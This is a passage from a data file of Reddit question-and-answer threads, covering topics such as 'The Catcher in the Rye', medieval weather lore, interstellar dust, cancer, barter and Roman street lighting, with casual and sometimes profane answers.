again. \n\nWhen reading the first chapter you learn it is a story about a boy your age that hates school, like you. But he is a very smart young man. You decide to read another chapter and see that he likes to drink and he likes boobs... Also like you. The boy becomes your hero. Before you know it, you finished the book and decide to suck it up and work hard for your final year in school so you can go to college and see better boobs and drink better liquor.\n\nWhen the book was written, adults fooled themselves into thinking high school boys didn't hate school, love boobs or want to drink and smoke. They thought Holden, the boy in the book, set a bad example for young men. This is why it was controversial. ", "Basically, it's the story of Holden Caulfield. Holden begins the story after being kicked out of Pencey Prep, an elite boarding school, as he is flunking his classes. He proceeds to go to New York City, ask a taxi driver about where ducks go, get rejected, try to pick up older women, get rejected, try to get a hooker, get rejected, until finally meeting with his sister Phoebe, pretty much the only person in the world he can talk to since his brother died of leukemia and his other brother became a sellout.\n\nIt was considered controversial at the time due to Holden's coarse language, blunt sexual urges, and anarchist/nihilistic ideals.\n\nAs for John Lennon's death, it happens that it was the book that Mark David Chapman, the assassin, was reading at the time of his arrest. ", "When you get older, you'll start feeling strange; very angry and very sad and strange mixtures of the two. This is because of chemicals called hormones that your body makes to help you grow up. \n\nThe book \"Catcher in the Rye\" is all about growing up. Its main character, also called a \"protagonist\", is a teenage boy who is experiencing the full effect of hormones. As a result, he is angry at a lot of people, and sad with the way the world is. \n\nHe runs away from home after being kicked out from his school for not doing well. After this, he travels around America and has some adventures, although most of these are not good adventures, but bad things that people should not do, like stealing and lying, and doing bad things with girls. He also says a lot of bad words. \n\nThis has made some people think that the book is bad for people to read it, as it might teach them to do bad things, or use a lot of bad words. The main character also talks about a fantasy he has where he protects children from growing up. Some people think this is bad, as teenagers who are feeling the effects of hormones might be influenced to try not to grow up, rebelling against growing up as a person. Another thing that makes people talks a lot about the book is that the people who try to ban it to protect children from it are acting like the main character in his fantasy to protect children.\n\nOne thing that has made people really be worried about people reading the book is the fact that it has influenced several people who have then tried to, or actually killed other people. One of these was John Lennon, a famous musician; the man who shot him had the book with him when he did it, and called it his statement. Some people think the book made him do it, but other people think he was sick in the head and he just thought the book was influencing him.", "It contained the word \"Fuck\"\n\n(irony is that the main character wanted to cover up the graffiti, but parents groups don't care)", "it's a pretty tame book.  It was \"banned\" and such before Lennon's assassination.  According to Wikipedia:\n\n > The challenges generally begin with Holden's frequent use of vulgar language[32],[33] with other reasons including sexual references,[34] blasphemy, undermining of family values[33] and moral codes,[35] Holden's being a poor role model,[36] encouragement of rebellion,[37] and promotion of drinking, smoking, lying, and promiscuity.\n\nI should note that these instances *really aren't that bad*.  Holden doesn't exactly munch clit or anything.  He hires a prostitute and chickens out (I think he tried to have a conversation with her instead...her pimp punches him out).  He flirts with some girls.  There's really not much more sexual content than that.\n\nI'm thinking it was pretty much a shocking thing for mid-century readers for a book to be first-person narrated by an adolescent so *honestly*.  It kinda freaked people out that there was a book that frankly discussed a teenager's sexuality and thoughts towards life.  That's just a guess though.\n\nThere's also a lot of controversy regarding the merit of the novel.  It's probably the most hated of the \"classics\".  The main criticism is that Holden is unlikable and \"doesn't do anything\". I'm of the opinion that that's kinda the point.  He isn't supposed to be an Indiana Jones or anything.  It's a coming-of-age novel, and one of the best.  He starts out immature, and ends slightly less immature.  People have the expectation that it's going to be more like...Trainspotting, or something.  Go in with the correct expectations.", "A sort of metapost: Its funny that you should ask that in this subreddit.  Catcher in the Rye is a bit like explainLI16.  Although Holden's POV is immature to an adult, that's very much the point: as an adult you can see the limitations of Holdens view of his world.  When you compare it to your more informed and nuanced perspective of the world, you can appreciate the distortions and reductions as a kind of truth and beauty.", "On one hand it is written in an annoyingly angsty style that just makes you want to punch a baby, on the other hand it is amazingly accurate to sounding like an angsty teenager.", "John Lennons Death: it really isn't. Just some crazy fuck read it and thought it was telling him to kill lennon. Read: he was just crazy.\n\nCatcher was just a sign of the times. The youth of the day and perhaps all youth of every generation just likes to rebel and holden was that. He thought the world was fake and everyone around him was fake. That's about it. Basically 200 pages of a teenager bitching about his life. I would recommend it, but I don't think it's as important as people make it out to be. Gatsby and Sun also rises are better IMO.", "It's because of the indifference towards authority and \"moral depravity\" in the main character.\n\nI have absolutely no clue as to why it was an inspiration in John Lennon's murder. Maybe it's because the guy who murdered John Lennon was FUCKING CRAZY.", "I'm being totally serious and haven't read the book: Isn't this one banned because of blatant racism against black people? (Well, not banned but controversial) If its not this book, what is the book I'm thinking about that's required for school?", "The killer of John Lennon claimed he was inspired by Catcher in the Rye.", "...I predict a lot of homework assignments being completed--courtesy of Reddit. ", "The book is quite nice, but nothing compared to [The Tale of Scrotie McBoogerballs](_URL_0_)", "Holden Caulfield is merely a jaded idealist.  The reason people hate him is because relating to him makes people aware of the parts of themselves that society discourages. Yet, anyone can relate to him in some way, and this makes people insecure when they do: Subconsciously, they're afraid they're as jaded and unrealistic as Holden is, and they probably are to some extent.", "In high school your teachers force you to read a lot of stupid books that you can't relate to. You'd rather be smoking a doobie in the Wawa parking lot. In 11th grade your teacher will ask you to read Cather in the Rye. It appears to have a stupid name. To make it seem like you always do your homework, you read the first chapter and volunteer to talk about it the next day so the teacher never picks you again. \n\nWhen reading the first chapter you learn it is a story about a boy your age that hates school, like you. But he is a very smart young man. You decide to read another chapter and see that he likes to drink and he likes boobs... Also like you. The boy becomes your hero. Before you know it, you finished the book and decide to suck it up and work hard for your final year in school so you can go to college and see better boobs and drink better liquor.\n\nWhen the book was written, adults fooled themselves into thinking high school boys didn't hate school, love boobs or want to drink and smoke. They thought Holden, the boy in the book, set a bad example for young men. This is why it was controversial. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/The_Tale_of_Scrotie_McBoogerballs"], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/The_Tale_of_Scrotie_McBoogerballs"], [], []]}
{"q_id": "1fc2fw", "title": "Has the weather always been a common topic of conversation?", "selftext": "It comes up constantly in todays culture as a way of breaking the ice or filling the dead space in a conversation. Was this true in the past as well?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fc2fw/has_the_weather_always_been_a_common_topic_of/", "answers": {"a_id": ["ca92kb4"], "score": [8], "text": ["In the agricultural society of the Middle Ages, where a good harvest was often literally the margin between life and death, weather was a preoccupation.  There must have been constant talk about it.  Will it rain? Will it storm? Will the crops get too hot?  Will they get too cold?  A few examples:\n\n* In early ninth-century Francia, Bishop Agobard of Lyons wrote a [treatise on hail and thunder] (_URL_1_) where he discusses [*tempestarii* or storm-makers] (_URL_0_), men who could raise or ward off storms.  They were in league with cloud-people from \u201cMagonia,\u201d who carried crops knocked down in hail storms back to their cloudland in sky ships. Paul Dutton analyzes the cultural significance of this story in \"Thunder and Hail over the Carolingian Countryside,\u201d in *Agriculture in the Middle Ages*, ed. D. Sweeney (Philadelphia, 1995).\n\n* The 13th-century Italian bishop, Jacob of Voragine, in a widely-circulated collection of saints\u2019 lives called *The Golden Legend*, reports the custom of ringing church bells to ward off storms: \u201cIt is said that this was the reason for ringing church bells when storms were brewing, namely that the demons who stir up the storms should hear the trumpets of the eternal King [i.e., the bells] and flee aghast, letting the storm die down.\u201d (*Jacobus de Voragine\u2019s Golden Legend, Readings on the Saints*, trans. William G. Ryan [Princeton, 1993], v. 1, p. 288)\n\n*  The late 15th-century English peasant Robert Reynes kept a commonplace book where he has several verses used to prognosticate weather or to make predictions on it. E.g., \u201cWhen there is thunder in May, it means a scarcity of fruits and famine in many places.\u201d (Cameron Louis, *The Commonplace Book of Robert Reynes of Acle* [New York, 1980])\n\n* In 1543, people in Canterbury carried Holy Water from church and sprinkled it on their houses to protect them from lightning caused by evil spirits in the clouds. (Keith Thomas, *Religion and the Decline of Magic* [Harmondsworth, 1978], p. 32, with lots of other examples.)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Tempestarii", "http://www.fordham.edu/halsall/source/Agobard-OnHailandThunder.asp"]]}
{"q_id": "334wok", "title": "What makes up the \"dust\" that obscures the center of the Milky Way from us?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/334wok/what_makes_up_the_dust_that_obscures_the_center/", "answers": {"a_id": ["cqi2hrj"], "score": [18], "text": ["A lot of it is silicates, basically like very fine grains of sand consisting mainly of silicon and oxygen, as well as carbon-based dust which is more or less like soot. Other varieties include [Polycyclic aromatic hydrocarbons](_URL_0_), large carbon-ring molecules; water ice, which tends to form on other grains; and many other smaller molecules also contribute to blocking light in the plane of the Milky Way.\n\nThe relative local abundances of carbon and oxygen affect what species of dust is dominant in a particular area of the interstellar medium. Carbon and oxygen readily combine into carbon monoxide, which is the second most abundant molecule in the universe (after molecular hydrogen), and will continue doing so until either most of the carbon or most of the oxygen is used up. If there's oxygen left over, it forms silicates, and if there's carbon left over, it forms soot grains and PAHs and other carbon-based molecules, such as methanol and ethanol."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Polycyclic_aromatic_hydrocarbon"]]}
{"q_id": "l5vm0", "title": "Can the brain detect nutrient deficiencies and communicate these to our consciousness as targeted hunger?", "selftext": "I have heard that some pregnant women will get hungry and crave specific, and often unusual foods. When I get hungry, I do not crave any specific item, just something to remove the uncomfortable sensation of hunger. Is this difference due to pregnant women having high nutrient needs which could easily result in a deficiency, which results in the brain asking for some specific nutrient dense food?\n\nAlso, could this occur in people with dietary defficiencies, eg the scurvy sufferer craving oranges?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l5vm0/can_the_brain_detect_nutrient_deficiencies_and/", "answers": {"a_id": ["c2q18t5", "c2q2k02", "c2q18t5", "c2q2k02"], "score": [8, 5, 8, 5], "text": ["Some food cravings are associated with certain conditions, e.g. pica is associated with anaemia and milk cravings with diabetes, and as you mentioned craving all sorts of weird junk when you're pregnant.\n\nI would say the body (I wouldn't limit it to 'the brain') has heuristics, i.e. if you're hungry or thirsty you're going to eat or drink something, and it's only post-agricultural development that we can reliably eat the same foods day in day out, so if you want something kinda salty you're probably going to eat something that's got other things you need as well, not just potatoes and oil.", "There is a [famous study](_URL_0_) in the pediatric world done in the 1920s by Clara Davis where she took babies and offered them a wide list of foods. The babies could eat whatever they wanted and she reported the results. One baby reportedly had rickets and self-selected cod-liver oil.The experiment could never be ethically be replicated and the [credibility of the study is questionable.](_URL_1_)", "Some food cravings are associated with certain conditions, e.g. pica is associated with anaemia and milk cravings with diabetes, and as you mentioned craving all sorts of weird junk when you're pregnant.\n\nI would say the body (I wouldn't limit it to 'the brain') has heuristics, i.e. if you're hungry or thirsty you're going to eat or drink something, and it's only post-agricultural development that we can reliably eat the same foods day in day out, so if you want something kinda salty you're probably going to eat something that's got other things you need as well, not just potatoes and oil.", "There is a [famous study](_URL_0_) in the pediatric world done in the 1920s by Clara Davis where she took babies and offered them a wide list of foods. The babies could eat whatever they wanted and she reported the results. One baby reportedly had rickets and self-selected cod-liver oil.The experiment could never be ethically be replicated and the [credibility of the study is questionable.](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.drherbgoldman.com/2011/04/the-power-of-the-family-dinner-to-fight-childhood-obesity/", "http://www.cmaj.ca/content/175/10/1199.full"], [], ["http://www.drherbgoldman.com/2011/04/the-power-of-the-family-dinner-to-fight-childhood-obesity/", "http://www.cmaj.ca/content/175/10/1199.full"]]}
{"q_id": "kkg0y", "title": "Is is possible for a human to unknowingly get cancer and survive it by means of a superior immune system?  Or would they just not get cancer in the first place?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kkg0y/is_is_possible_for_a_human_to_unknowingly_get/", "answers": {"a_id": ["c2kyzk2", "c2kz7al", "c2kzb6z", "c2kzdjc", "c2kzraf", "c2kyzk2", "c2kz7al", "c2kzb6z", "c2kzdjc", "c2kzraf"], "score": [42, 3, 2, 8, 4, 42, 3, 2, 8, 4], "text": ["Yes, very much indeed! But as you mentioned, we still don't know if this happens in our body and if yes, to what extent.. \n\nOur immune system *does* have mechanisms of detecting tumorous cells, but the problem is we don't fully know how cancers look in their earliest stages. It is however accepted now that one of the hallmarks of cancer is its ability to *evade* this immune response against it: we don't know how many of them never do, though.", "Your DNA gets damaged all the time. There are loads of mechanisms to repair it, or to prevent it being a problem. ", "Remember that cancer is an umbrella term that covers hundreds of very different diseases.  Some forms of cancer are so slow growing that you will die of old age or natural causes before the cancer ever gets you.  Prostrate cancer is one example -- [for a man aged 50 the lifetime risk of prostate cancer is 42%](_URL_0_) (or [16.2% lifetime risk at birth](_URL_1_).)  It is extremely common in older men.  However, for such a high incidence rate it has a relatively low fatality (2.9% lifetime risk for that same 50 year old man.)  This means that many people have it but never know, never receive treatment, and die of something else before their prostate cancer ever threatens their life.\n", " [Neuroblastoma](_URL_1_) in kids has been shown to [spontaneously regress](_URL_0_) for reasons not completely understood.", "One of the ways that we can tell how an immune system works properly is by looking at people who are immunocompromised. We know that people with AIDS get all sorts of different cancers and they progress quickly. Although there are some confounds since they are taking so many different medications, but I think there is at least some evidence to support the fact that our immune system does attack cancerous cells.\n\nAs well, if you think about it, our body has trillions of cells, with some that divide quite frequently. There are bound to be errors and mutants that pop up all over the place. We would have a much shorter lifespan if our body didn't have some mechanism to remove mutant cells (cancer comes from mutated cells).", "Yes, very much indeed! But as you mentioned, we still don't know if this happens in our body and if yes, to what extent.. \n\nOur immune system *does* have mechanisms of detecting tumorous cells, but the problem is we don't fully know how cancers look in their earliest stages. It is however accepted now that one of the hallmarks of cancer is its ability to *evade* this immune response against it: we don't know how many of them never do, though.", "Your DNA gets damaged all the time. There are loads of mechanisms to repair it, or to prevent it being a problem. ", "Remember that cancer is an umbrella term that covers hundreds of very different diseases.  Some forms of cancer are so slow growing that you will die of old age or natural causes before the cancer ever gets you.  Prostrate cancer is one example -- [for a man aged 50 the lifetime risk of prostate cancer is 42%](_URL_0_) (or [16.2% lifetime risk at birth](_URL_1_).)  It is extremely common in older men.  However, for such a high incidence rate it has a relatively low fatality (2.9% lifetime risk for that same 50 year old man.)  This means that many people have it but never know, never receive treatment, and die of something else before their prostate cancer ever threatens their life.\n", " [Neuroblastoma](_URL_1_) in kids has been shown to [spontaneously regress](_URL_0_) for reasons not completely understood.", "One of the ways that we can tell how an immune system works properly is by looking at people who are immunocompromised. We know that people with AIDS get all sorts of different cancers and they progress quickly. Although there are some confounds since they are taking so many different medications, but I think there is at least some evidence to support the fact that our immune system does attack cancerous cells.\n\nAs well, if you think about it, our body has trillions of cells, with some that divide quite frequently. There are bound to be errors and mutants that pop up all over the place. We would have a much shorter lifespan if our body didn't have some mechanism to remove mutant cells (cancer comes from mutated cells)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.ncbi.nlm.nih.gov/pubmed/2479160", "http://seer.cancer.gov/statfacts/html/prost.html#risk"], ["http://jco.ascopubs.org/content/26/9/1504", "http://en.wikipedia.org/wiki/Neuroblastoma"], [], [], [], ["http://www.ncbi.nlm.nih.gov/pubmed/2479160", "http://seer.cancer.gov/statfacts/html/prost.html#risk"], ["http://jco.ascopubs.org/content/26/9/1504", "http://en.wikipedia.org/wiki/Neuroblastoma"], []]}
{"q_id": "15dnf7", "title": "Distribution of different star types", "selftext": "Is there any correlation/pattern between a star's classification and its position in a galaxy? for example, are we more likely to find type O stars nearer the centre of a galaxy?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15dnf7/distribution_of_different_star_types/", "answers": {"a_id": ["c7ljoon", "c7lk3m2"], "score": [7, 2], "text": ["O stars are very short lived, so we mostly find them at the center of currently forming star clusters (like the Orion Nebula). New star formation typically happens in the spiral arms of galaxies; the center of our galaxy underwent an intense burst of star formation and (mostly) exhausted the raw materials for more, so it's now dominated by an older (and less massive) population of stars.", "Interesting question that I don't have the exact answer to but here's some information according to the wikipedia page here: \n_URL_1_ \n\nFirst, we know that O stars being very massive burn brighter and quicker (millions of years) and the oldest stars are the least massive and burn the longest (up to hundreds of billions of years in some cases which is an order of magnitude larger than the current agreed age of the universe).\n\nNext we know that stars in the arms of The Galaxy are the youngest and as you near the center we find older stars as we might expect. But, this is where the interesting thing on that page comes in, there are \"More than 100 OB and Wolf\u2013Rayet stars have been identified there so far.\" And, as you near the center where we expect the older population to be increasing instead it is dropping off. This comes as quite a surprise against our original understanding of The Galaxy.\n\nSo when we're talking about the center of the galaxy we're usually referring to the Bulge that has a radius of about 3kpc which is composed of mainly older stars (K  &  M) but according to the introduction in this paper: _URL_0_\nwe find these massive stars which go against our intuition within .5 pc of the galactic center.\n\nIn short, yes there is a pattern newer to older as you move to the center but there are pockets in The Galaxy that go against this generalization."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://arxiv.org/pdf/0903.2135v2.pdf", "http://en.wikipedia.org/wiki/Galactic_Center"]]}
{"q_id": "2qdoak", "title": "I just got this tapestry as a gift. Can anyone tell me what it means?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2qdoak/i_just_got_this_tapestry_as_a_gift_can_anyone/", "answers": {"a_id": ["cn55rdv"], "score": [12], "text": ["At first I thought it was the Shahada, but it looks more like the [Bismala](_URL_0_); an Islamic saying prefacing most of the books of the Quran.  The general gist, and most common translation, is \"In the name of Allah the most just and merciful.\"\n\nSource: Associates degree in the culture/language of the Pashtuns, an almost exclusively Islamic people living in Afghanistan and Pakistan."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.com/search?q=basmala&amp;espv=2&amp;biw=1506&amp;bih=1250&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ei=t1qcVPa1OMyqNoOWgOgP&amp;ved=0CAYQ_AUoAQ"]]}
{"q_id": "9v8mbk", "title": "would trading something for another thing still be an effective alternative to money and dollar bills?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9v8mbk/eli5_would_trading_something_for_another_thing/", "answers": {"a_id": ["e9a7dqi", "e9a7dtd", "e9a7kak", "e9a7lve", "e9a7qvz", "e9agtzb"], "score": [17, 4, 3, 3, 11, 2], "text": ["Sure, but we use money because trades are impractical and many goods don't last forever\n\nWhen you buy a house, the bank doesn't want the down payment in sheep or truckloads of flour. It's much easier to carry around a dollar amount than transport enough gravel to trade for a hamburger, plus the hamburger guy is going to give you a terrible rate because he doesn't have contacts to offload all this gravel to!", "It would work in a way, but not as effectively as regular money.\n\nFor example, you have made something and someone else have something you want. But he doesnt want the thing you have made. Instead he is interested in another thing. \nYou then go to whoever have that thing and if you're lucky he accept trading with you. So then you can go back to the first guy and finally trade.\n\nWith money it would just be to buy his product and pay with the sum he wants and then he can buy whatever he wants with the money afterwards.\n\nA standardized money system have always replaced old style trading when civilizations have gotten more advanced. Just because its more effective when large scale trading is involved.", "Not even slightly. \n\nIgnoring all that's been said about having a hard time finding someone to trade with, there's simply *more* money in the world than there are tradeable resources. Inflation is an important financial/political tool to stimulate growth, and we've been using it for centuries. \n\nIf money went away, the global economy would crash, to a degree that made the Great Depression and the Housing Crisis combined seem like nothing. Millions would starve - Japan would practically cease to exist as they rely so heavily on imported food, while cities in the US would empty into the Midwest to trade their time for food. ", "Currency is just abstracted barter.\n\nImagine a timeline:\n\nThousands of years ago I trade 100 chickens for a bar of gold.\n\nMaybe 3000 years ago we\u2019ve created gold tokens, 1 token being equivalent to a chicken but we are still actually trading *thing for thing*. I could theoretically melt down 100 gold tokens and get an gold bar. However I don\u2019t because if I want an gold bar it\u2019s more efficient to trade 100 tokens for that bar.\n\nMaybe 300 years ago (or older if you\u2019re in China): we now have tokens that are purely representative. I don\u2019t need to carry the gold tokens around, instead I carry tokens that can *be exchanged* for real gold whenever I want.\n\nAbout 50-70 years ago: we stopped being able to exchange the tokens for real gold because *no one ever did this* and the connection to real gold was realized to be a complete fiction.\n\nIncidentally, you can still trade chickens for gold if you find someone willing to do that. Barter transactions are still very common and are still subject to taxation.", "Not really. That is called a barter system and it has some major issues. \n\nSay I build houses and you grow food. So we trade, I build you a house and you give me a bunch of food. Well eventually I will eat all the food, but you won\u2019t need another house before then. \n\nSo we get a third person that makes clothes. I make them a house and get a bunch of clothes. Then I trade you the clothes for more food. Maybe you accept the trade, or maybe you just trade food to the third person for clothes directly and skip over me. Either way eventually I have no food and no clothes, but you two still have houses. \n\nThis the issue with barter systems is that professions that make goods you only need one of are very under valued. Bartering can be fine if most people build their own house and grown their own food. Then I might make good furniture which I trade for the great clothing you make. But we are still both spending most of our time growing our own food. Then what about the person who\u2019s hobby is science and math in our ancient example? They figure out the earth is round and it\u2019s diameter, how many pants is that worth to you?", "That's called the Barter system, and it is hugely impractical, because usually the wants of one person don't match up with the items he has willing to trade.  So to make something work, say, your skills at a job for Food, you'd need to make a trade involving a large number of people.   \n\nMoney is much more straight forward.  Our modern economy would completely collapse to the dark age if we went back to the barter system."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "fwcwtj", "title": "I have got my hands on what I assume to be an old WW2 Japanese POW contract.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fwcwtj/i_have_got_my_hands_on_what_i_assume_to_be_an_old/", "answers": {"a_id": ["fmnp8x1"], "score": [2], "text": ["Hey there!\n\nSeeing as this is a public history forum, could you please post a picture of the object? We're here so everyone can learn.\n\nThanks!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2s58jt", "title": "How illuminated would Ancient Rome have been?", "selftext": "By Ancient Rome I'm picking a somewhat arbitrary time and place, but I'm most interested in how ancient cities provided consistent illumination before the invention of electricity or gas-lamps. I mean the amount of resources and manpower necessary to continually have torches lit for a whole city seems to be tremendous. So is the answer just \"it was pretty dark and you brought your own torch at night\" or something in between?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2s58jt/how_illuminated_would_ancient_rome_have_been/", "answers": {"a_id": ["cnmelig"], "score": [124], "text": ["As a general rule, I think it's fair to say that the Romans relied more on task lighting than ambient lighting in most situations where artificial lighting was used.  Some interior rooms may have been quite brilliantly lit with lamps / lanterns / candelabra, but expectations of what constituted sufficient illumination were undoubtedly different than our own.\n\nAs for street lighting, there were niches at both the ground and upper storey levels, where lamps could be placed to provide points of illumination, some of them protected by glass panes to keep them from being extinguished by wind or rain.  A number of these survive at sites like Pompeii (some appear to have doubled as compital shrines, while others were solely for lamps).  These were probably tended by shopowners, slaves, or even vicomagistri and lit only at certain times during the evening, but we don't have much evidence for specific practice.\n\nFor the most part, people would have carried lanterns or oil lamps with them as needed.\n\n[Edit]  Sorry, I'm not sure why all the downvotes.  For what it's worth, I'm an academic specialist in Roman architecture with twelve years of fieldwork in Italy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3574f1", "title": "when we were kids, why did we tend to draw the sun specifically on the corner of the page?", "selftext": "EDIT:Thanks for all the responses, specially to /u/jprjansen for his logical logic", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3574f1/eli5when_we_were_kids_why_did_we_tend_to_draw_the/", "answers": {"a_id": ["cr1mcd8", "cr1mifx", "cr1ms4o", "cr1n8uc", "cr1nhhu", "cr1o32t", "cr1swmy", "cr1wjfa", "cr1wkx6", "cr202mg", "cr23ahh", "cr24wdq", "cr25htj", "cr26qoj"], "score": [451, 82, 10, 20, 32, 8, 82, 3, 7, 11, 11, 11, 6, 4], "text": ["Because realistically we don't look directly at it so it is always in the corner of our eye, hence the corner of the page.", "Probably because the corner was sort of out of the way, where we weren't trying to draw whatever else was the main focus of the drawing. \n\n", "First grade. I decided to be more realistic. The teacher made fun of me and made me do it again. I just drew a round yellow shape with spikes. I still remember it. She must be burning in hell right now. ", "Because we saw a picture of it that way first, and then subliminally we thought it was the right thing to do. (Speculating. Not fact.)", "We want to pay an homage and emulate the style of the strong realists of the classical art world, a true renaissance inspiration, and we are influenced and enjoy the drama of the strong side lighting of masters, perhaps best exemplified by Rembrandt. We are also openly displaying our disdain and rejection for the Dada and disposable pop culture art of, say, Salvidor Dali or Andy Warhol. The core philosophy of our approach is one of mastery of the \"now\" and  \"real\" while waiting until we're further along in our artistic development for our own deviations into our own twist on the artistic statements, though some, at times, can be foreshadowed by our unusual choices of shapes and placements of everyday objects.\n\nOr, it's because Mom will put it on the fridge if we draw real goodly.\n", "Perhaps because t's easier to draw a quarter circle than a full circle.\n\nI still can't draw a good circle.", "Clearly the reason is that a perfect circle is nearly impossible to reproduce by hand.\n\nBe a kid and try to draw a perfect circle. \n\nNow be a kid and try to draw a circle on the corner using the edges to cheat.\n\n100 times easier and looks way better.", "Most of them time, the sun is not directly above you but rather on some kind of angle. Little kids draw what they know so they draw it away from their normal line of sight when they look up. ", "For me it was because circles are hard to draw and quarter circles are easy. There is less circle to mess up and more space for other things like dragons and spaceships.", "Kids don't always tend to draw the sun in the corner universally, but it is a common place to draw it partly because we often seen it drawn that way.  It's a sort of visual trope that you subconsciously pick up on and duplicate.", "better question is why did we always put sunglasses on them?", "This post reminded me of a picture I made as a kid (and ended up getting in trouble for ;_;)\n\nWe were told to draw a picture of ourselves flying a kite. My picture was drawn pretty much like this image I'll borrow from google:\n_URL_0_\n\nA big diamond kite in the foreground, me- smaller on the right and the rest of the page green.\n\nI was put in time out for the picture not having a sky! I tried explaining it to my teacher but she just kept saying, \"where's the sky?\" I told her I drew it like I was looking down above the bird instead of from the side like the other kids...\n\nStill put in time out and was stuck there until I drew one with a sky. 3:\n\nHearing the other stories on here I'm wondering if anyone else shares one similar to mine!", "Bitch I still draw my Damn Sun on the corner. Shit doesn't belong in the middle. Looks distorted as Fuck man", "I always drew it in the corner because it left me more space on the paper for everything else?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["http://castleofcostamesa.com/wp-content/uploads/2013/09/130924-Kite-boy-for-Ms-Lorris-First-Grade-Class.-Birds-eye-view-shot.jpg"], [], []]}
{"q_id": "4uflrh", "title": "why are there no human-eating birds?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4uflrh/eli5_why_are_there_no_humaneating_birds/", "answers": {"a_id": ["d5paes7", "d5pd2vj", "d5pe4vq"], "score": [2, 2, 3], "text": ["If there had been any, we would have murdered them to death by now. It's a miracle lions are still around. It doesn't look like tigers are going to make it.", "You are a mother eagle. And it's millions of years in the past. You've just hatched 4 beautiful chicks. And...in the grand tradition of sexual reproduction...none of the chicks are a perfect copy of you. They all have slight variations.\n\nOne chick is slightly more feathery, one has smaller talons, one is much larger than the others, one has a slightly longer beak, etc.\n\nNow...the world you live in is a harsh one. There's only so much food around. And there's plenty of competition. Which chicks will have the advantage? Which ones will survive to reproduce and pass on their genes?\n\nThe biggest one? Surely not? Size is not much of an advantage for a bird. The largest eagle is slower than it's nimble prey. And needs more food to survive. And can it even take flight fast enough after feeding? [Fast enough to evade it's own predators when it's on the ground?](_URL_0_)\n\nOh but it can go for larger prey to sustain itself, right? What about those primates?\n\nWhat, those primates who shield themselves in the sharp branches of trees? Who possess binocular (day-time and low-light) coloured vision and live in large social groups who warn each other? Yeah...good luck with that.\n\n**TL-DR - All animals (and historically speaking, ourselves included) exploit ecological niches which favor certain traits to gain better access to resources and reproduce. For birds...a great size is not one of those traits.** \n\nI mean sure, there were [island populations with exceptions to the rule](_URL_1_). But even at that great size, they were no match for humans. As illustrated by the fact that we hunted them to extinction.\n", "They would have to be seriously large and powerfully-built. Kinda like [these guys.](_URL_0_) These are Phorusrhacids, or \"terror birds,\" which, fortunately, died out about 1.8 million years ago.\n\nWhen humans came along, they started to methodically wipe out a lot of the existing megafauna they encountered, so it's doubtful such a creature could have survived us.\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/ahiQ-yZi-pk?t=46", "https://en.wikipedia.org/wiki/Haast%27s_eagle"], ["http://valentint.blog.bg/photos/178454/original/0eb80c1c4e9c0d91eccbfe5b0ec076a9.jpg"]]}
{"q_id": "smnsr", "title": "If I am falling at terminal velocity from 30,000 feet, and I somehow begin to slide down a very steep asymptotic curve, will I survive?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/smnsr/if_i_am_falling_at_terminal_velocity_from_30000/", "answers": {"a_id": ["c4f8ji3", "c4f9wzm", "c4fba50"], "score": [58, 4, 2], "text": ["The instantaneous g-force experienced by the body is going to be V^2 /r, where 'r' is the local radius of curvature for the slide at their current position. \n\nTerminal velocity for a skydiving human is [about 50m/s](_URL_0_)\n\nA person will likely die with sustained g-forces of [50g](_URL_1_)\n\n\nSo, 50g = V^2 /r\n\nr = V^2 / 50g ~= 5 meters.\n\nSo, as long as the radius of curvature for the slide is greater than 5 meters, they will probably survive although will be unconscious at the end of their ride and generally have a bad time.\n\n\n", "It's supposedly [being](_URL_0_) [planned](_URL_1_). No idea if it acutally is going to happen", "This has been asked before:  \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Terminal_velocity", "http://en.wikipedia.org/wiki/G-force"], ["http://www.popularmechanics.com/technology/aviation/diy-flying/how-to-land-in-a-wingsuit-sans-parachute", "http://www.nytimes.com/2007/12/10/sports/othersports/10flying.html"], ["http://www.reddit.com/r/askscience/comments/knxvf/would_a_giant_slide_save_you_if_you_jumped_from_a/"]]}
